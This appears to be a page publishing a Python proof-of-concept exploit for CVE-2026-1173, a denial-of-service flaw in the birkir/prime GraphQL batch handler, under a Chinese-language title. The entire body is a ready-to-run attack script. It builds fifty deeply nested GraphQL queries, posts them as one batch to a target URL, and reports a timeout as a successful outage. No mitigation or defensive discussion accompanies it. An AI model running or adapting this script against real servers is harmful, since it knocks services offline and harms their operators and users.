CVE-2026-1173: birkir prime GraphQL拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2026-1173 PoC - birkir/prime GraphQL DoS Discovered in birkir/prime <= 0.4.0.beta.0 GraphQL Array Based Query Batch Handler DoS """ import requests import json import time TARGET_URL = "http://target-server/graphql" def create_malicious_batch_query(): """ Create a malicious GraphQL batch query that triggers DoS by exploiting the Array Based Query Batch Handler vulnerability """ # Generate deeply nested queries for resource exhaustion queries = [] for i in range(50): queries.append({ "query": f""" query {{ users {{ id posts {{ id comments {{ id author {{ id posts {{ id comments {{ id }} }} }} }} }} }} }} """, "operationName": f"NestedQuery{i}" }) return queries def exploit_dos(): """Send malicious batch query to trigger DoS""" payload = create_malicious_batch_query() headers = { "Content-Type": "application/json", "Accept": "application/json" } print(f"[*] Sending malicious batch query to {TARGET_URL}") print(f"[*] Payload size: {len(payload)} queries") try: response = requests.post( TARGET_URL, json=payload, headers=headers, timeout=30 ) print(f"[+] Response status: {response.status_code}") return True except requests.exceptions.Timeout: print("[+] Target appears to be unresponsive - DoS successful") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-1173 - birkir/prime GraphQL DoS PoC") print("=" * 60) exploit_dos()